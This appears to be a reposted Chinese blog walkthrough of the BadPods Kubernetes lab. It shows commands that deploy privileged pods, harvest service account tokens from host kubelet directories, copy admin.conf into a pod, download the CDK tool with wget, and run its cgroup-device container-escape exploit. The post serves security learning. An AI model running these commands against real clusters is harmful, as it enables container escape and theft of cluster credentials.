kubernetes学习之路--BadPods(Part1)

news2024/12/27 12:08:50

摘要:对Pod配置进行实战学习,以BadPods项目为例学习危险配置。

目录

一.BadPods介绍及使用

二.BadPods配置学习

2.1 less1--Everything allowed 基本操作学习

2.2 less1--Everything allowed 渗透学习


一.BadPods介绍及使用

项目地址:https://github.com/BishopFox/badPods/

上次我们已经搭建好了K8S环境了,可以直接下载并使用kubectl进行配置

kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

运行成功如图:

 可以对比一下node和Pod的网络配置:

 从上图我们可以很容易的看出:有一些的Pod的IP和Node节点的IP一致或者就是k8s-worker这个node节点的IP,这危害性一下子就上来了奥,那么下面我们就稍微具体的看一下具体的Pod的配置!

二.BadPods配置学习

先看一下危险配置的图:

  •  Privileged :不受限制的策略,提供最大可能范围的权限许可。此策略允许已知的特权提升。
  • hostPID:是否允许Pod共享宿主机的进程空间。
  • hostPath:是否允许使用宿主机文件系统目录。
  • hostNetwork:是否允许Pod使用宿主机网络的命名空间。
  • hostIPC:是否允许Pod共享宿主机的IPC命名空间。

2.1 less1--Everything allowed 基本操作学习

everything-allowed pod 将主机的文件系统挂载到 pod,并允许访问主机的所有命名空间和功能。进入pod后是当前node(节点)的root权限并挂载了主机文件系统的目录。

(要现拉取docker镜像:docker pull ubuntu)

首先查看配置文件内容(badPods-main/manifests/everything-allowed/pod)

everything-allowed-exec-pod.yaml

(不要太在意细节,这个是之前搭建的名称为kind的集群,举个例子就是,看注释即可)

 我们主要关注spec中的部分:

  1. hostNetwork:true,使用宿主机的网络
  2. hostPID:true,使用宿主机进程空间(ps命令)
  3. hostIPC:true,允许Pod共享宿主机的IPC命名空间
  4. privileged:true,是特权容器
  5. mountPath: /host,把下面名字为noderoot的volumes挂载带pod中的host目录下
  6. hostPath:path:/ ,允许使用宿主机的根目录/

之后我们进入容器看一看

kubectl exec -it everything-allowed-exec-pod bash

其中host目录下就是kind-worker这个节点机的根目录 

 

然后下载can-they.sh来查看我们能有什么权限

can-they.sh 地址:badPods/can-they.sh at main · BishopFox/badPods · GitHub

脚本功能:

  • 在 pod 中安装 curl 和 kubectl(如果未安装)

  • 从中获取所有令牌/host/var/lib/kubelet/pods/*

  • 针对selfsubjectaccessreviews端点循环每个令牌:kubectl --token=$token auth can-i [$user-input]

将can-they.sh脚本复制到pod中(和docker命令一样)

kubectl cp can-they.sh everything-allowed-exec-pod:/

进入pod执行该脚本

#给权限
chmod 777 can-they.sh

#执行
./can-they.sh

运行结果:

这是代表一些我们可以获得到的一些token(身份验证),其中这些账号对一些接口的权限,比如create是创建权限,get是访问权限等等,后续学习RBAC权限时候会重点关注这些,现在还是主要学习pod配置中的危险配置。

因为can-they.sh这个脚本自动给我们安装了kubectl,于是尝试使用

但是发现报错了,错误提示就是我们现在的用户不能使用kubectl,这是为啥呢?

让我们回顾一下使用kubeadm安装k8s集群时候最后的步骤:

#设置admin用户使用kubectl
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config

我们需要创建一个config文件,这里面的内容是什么呢?我们可以在宿主机的用户家目录的.kube文件夹下查看config文件

这里面包含一些身份信息等等,因此我们可以使用kubectl工具,因为config文件是admin.conf拷贝过去的,所以我们需要将admin.conf文件复制过去,保证不出问题

#如果admin.conf 在 /etc/kubernetes/admin.conf
cp /etc/kubernetes/admin.conf everything-allowed-exec-pod:/root/.kube/config

#或者全局搜索
find / -name admin.conf

#因为我是用的kind搭建的,基于docker,所以我的admin.conf文件不在上面的那个路径,例如
cp /var/lib/docker/overlay2/8b1c646a00699a46ae49625c3eb026ae836fe4dcd50787b2e1ac2d610d9b7b57/diff/etc/kubernetes/admin.conf  everything-allowed-exec-pod:/root/.kube/config

配置好就可以运行了


使容器运行在master节点上

修改配置文件中的nodeName为主节点的名称

更新配置

#删除pod
kubectl delete pod everything-allowed-exec-pod

#应用配置
kubectl apply -f everything-allowed-exec-pod.yaml

可以看到成功到了master节点

2.2 less1--Everything allowed 渗透学习

进入Pod

kubectl exec -it everything-allowed-exec-pod bash

使用一个开源工具CDK,主要是用来做容器逃逸和k8s中敏感信息收集,自带一些exp能直接得到宿主机shell等,十分好用!

项目地址:GitHub - cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier.


#刚拉取的镜像啥都没有,先update一下
apt-get update

#使用wget下载CDK,慢的话手动下载然后放到服务器上
wget https://github.com/cdk-team/CDK/releases/download/v1.5.0/cdk_linux_386

使用cdk在容器中进行扫描

./cdk_linux_386 evaluate --full 

主要关注的扫描结果:

k8s服务信息:

容器权限检测以及利用方法:

根据提示我们运行命令查看结果:

以及 rewrite-cgroup-devices漏洞

#重写Cgroup以访问设备
./cdk_linux_386 run rewrite-cgroup-devices

debugfs -w cdk_mknod_result

运行结果: 

 建议在虚拟机里尝试,别在服务器上尝试,这exp是真打啊,给我的环境都弄坏了!!


总结:本文主要分享了BadPods靶场的介绍及安装使用,对Pod的危险配置参数进行了列举并分享了一个开源且好用的云安全适用的工具。

下一篇就把剩下的危险配置做一下总结就可以了,最近在尝试复现chrome的rce漏洞,没事穿插着写一下。

就仔细一点写写less1就可以了,讲道理危险配置的pod不多,我们更应该学习后面如何拿到高权限用户或者有create pods权限的用户等,BadPods的学习是我们拿到了能创建Pod的用户然后横向到master节点的一种手段,而不是云安全中的起点奥,起点还是web,拿下web容器的权限,尝试是否能逃逸或者根据配置不当然后横向到其他pod或者node,然后一步一步拿数据和权限。


最近的chatGPT不好玩了,总是网络不稳定,而且现在也就能帮忙写写脚本了,写写正则啥的,编个shell脚本然后自己改一改还是比较能够增加工作效率的!

链接:黑客和网络安全从业者们如何正确使用OpenAi

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/84464.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

西门子KTP1200触摸屏右上角出现黄色感叹号_报警指示器的组态与应用

西门子KTP1200触摸屏右上角出现黄色感叹号_报警指示器的组态与应用 设备运行时产生报警时通常会在画面右上角有个指示器在闪烁提示报警产生。 本次和大家分享报警指示器的组态和具体使用方法。 报警指示器的组态。 报警指示器使用警告三角来表示报警处于未决状态或要求确认。如…

数字验证学习笔记——SystemVerilog芯片验证15 ——随机约束和分布

一、随机和约束 1.1 随机 定向测试能找到你认为可能存在的缺陷,而随机测试可以找到你没有想到的缺陷。随机测试相对于定向测试可以减少相当多的代码量,而产生的激励较定向测试也更多样。 1.2 约束 我们想要的随机自由是一种合法的随机,需…

JAVA毕业设计——基于Springboot+vue的房屋租赁系统(源代码+数据库)

github代码地址 https://github.com/ynwynw/houserent2-public 毕业设计所有选题地址 https://github.com/ynwynw/allProject 基于Springboot的房屋租赁系统(源代码数据库) 一、系统介绍 本项目分为管理员、经纪人、维修员、普通用户四种角色 管理员角色包含以下功能&#…

C++——AVL树

目录 AVL 树 Insert 控制平衡因子 AVL树的旋转 AVL树验证 AVL树的性能 错误排查技巧 AVL 树 二叉搜索树虽可以缩短查找的效率,但如果数据有序或接近有序二叉搜索树将退化为单支树,查找元素相当于在顺序表中搜索元素,效率低下。因此&…

统计学 | 描述统计

一.导论 统计学是通过收集,整理,分析,描述数据等手段,以达到推断所测对象的本质,甚至预测对象未来的一门综合性科学。其目的是探索数据的内在数量规律性,以达到对客观事物的科学认识 统计的本业是消化数据…

pikachu靶场-4 SQL注入漏洞

SQL注入漏洞 在OWASP发布的TOP 10 中,注入漏洞一直是危害排名第一的漏洞,其中主要指的是SQL Inject漏洞。 一个严重的SQL注入漏洞,可能会直接导致一家公司破产! 数据库输入漏洞,主要是开发人员在构建代码时&#xf…

基于人眼视觉模型,实现码率、质量、成本的最优均衡

将编码器的优化目标从经典的保真度最高,调整为「主观体验最好」。 视觉是具有 「掩蔽效应」 的。 通俗地说,人眼作为图像信息的接收端,并不能精准捕捉到图像画面的所有变化。 例如,人眼对于画面中亮度的变化、静止的图像、画面整…

算法竞赛入门【码蹄集进阶塔335题】(MT2126-2150)

算法竞赛入门【码蹄集进阶塔335题】(MT2126-2150) 文章目录算法竞赛入门【码蹄集进阶塔335题】(MT2126-2150)前言为什么突然想学算法了?为什么选择码蹄集作为刷题软件?目录1. MT2126 奇偶序列2. MT2127 数组扦插3. MT2128 sort4. …

运放常见应用电路,有图有公式-运算放大器--点赞

声明: 本号对所有原创、转载文章的陈述与观点均保持中立,推送文章仅供读者学习和交流。文章、图片等版权归原作者享有,如有侵权,联系删除。 参考原文;《运放常见应用电路,有图有公式,建议收藏…

机器学习学习笔记(1)

字典特征提取 第一列表示北京 第二列表示上海 第三列表示深圳 第四列表示温度 前面三列 是的话用1 不是的话用0 什么时候用稀疏矩阵:比如上面这种情况当你的城市很多的情况下 那这样就会出现大量的0 而系数矩阵只存储不是0的位置 可以节省大量空间 为什么采用这种…

中国算力网络铺开,竟是运营商走在前列?

明敏 发自 凹非寺量子位 | 公众号 QbitAI中国算力格局,已悄然发生改变。今年,在一批云厂商的积极布局下,一座座算力中心建成落地,坐标却纷纷绕开东南沿海和一线城市。成都、张北、乌兰察布、重庆……这种趋势概括起来就一句话&…

spring framework IoC 容器接口体系结构概述

目录BeanFactory体系结构BeanFactory 主要接口,可分为三级:BeanFactory 主要实现类:BeanFactory 相关接口和实现类:主要知识点ApplicationContext体系结构ApplicationContext 主要接口,可分为三级:二级接口…

[kerberos] kerberos 认证详解

什么是kerberos认证? kerberos 认证是一种用于验证通信双方身份的网络协议。即帮助客户端和服务端证明 我是我自己 ,从而使得通信双方可以完全信任对方身份 kerberos 角色组成? 客户端(client):发送请求的…

macOS/Linux如何开机自动挂载/卸载磁盘

不管是Linux还是基于Unix的macOS,挂载磁盘可以使用mount命令进行磁盘的挂载。 挂载的一般状态: 查看磁盘状态挂载磁盘读写磁盘 最后是卸载磁盘。 macOS和Windows类似,移动存储一般会自动挂载;部分Linux发行版本,也…

数据结构与算法(Java版) | 关于以上几个经典算法面试题的一个小结

为了让大家明白算法的重要性,以上我就举了几个经典的算法面试题,我的目的也很简单,就是希望引起大家对算法的一个兴趣。 之所以在正式讲解数据结构与算法之前引出这几个经典的算法面试题,是因为我想告诉大家如下三点。 算法非常…

一文看懂MySQL的explian执行计划

表: 数据: 例如:explain select * from t where a 2; 各个字段解释: select_type 表示查询中每个 select 子句的类型(简单 OR 复杂) type 对表的访问方式,表示 MySQL 在表中找到所需行的方式…

[DT框架使用教程01]如何在DT框架中创建插件

[DT框架使用教程01]如何在DT框架中创建插件 DT框架代码地址: https://github.com/huifeng-kooboo/DT 由于国内访问速度的问题 也可以访问gitee的地址: https://gitee.com/huifeng_github/DT DT框架是基于QT框架衍生出的组件化框架。 对于想具体了解DT框架的同学&…

GO语言基础介绍

go语言的GMP模型(协程并发模型),P是go语言本身内部实现的调度器,它是基于协程队列的,协程在调度器面前就类似一个个独立的任务;P一般数量上是处理器内核数。Process本身有调度和创建M的能力,它会…

Web3中文|迪士尼前任CEO回归,能否带领迪士尼开辟web3之路?

据国外媒体报道,11 月 21 日,当地时间周日晚间,迪士尼宣布首席执行官(CEO)鲍勃 查佩克(Bob Chapek)离职,而其前任鲍勃 伊格尔(Bob Iger)将重返迪士尼CEO一职…

Navicat 16 和表空间 - Part 2

如何运作 "What is it? Its it" - Epic, Faith No More 欢迎回到这个关于在 Navicat 16 中使用表空间的系列。第 1 部分介绍了表空间的一些优点,包括可恢复性、轻易添加更多表、自动存储管理以及在隔离缓冲池中数据以提高性能或内存利用率。而第二部分…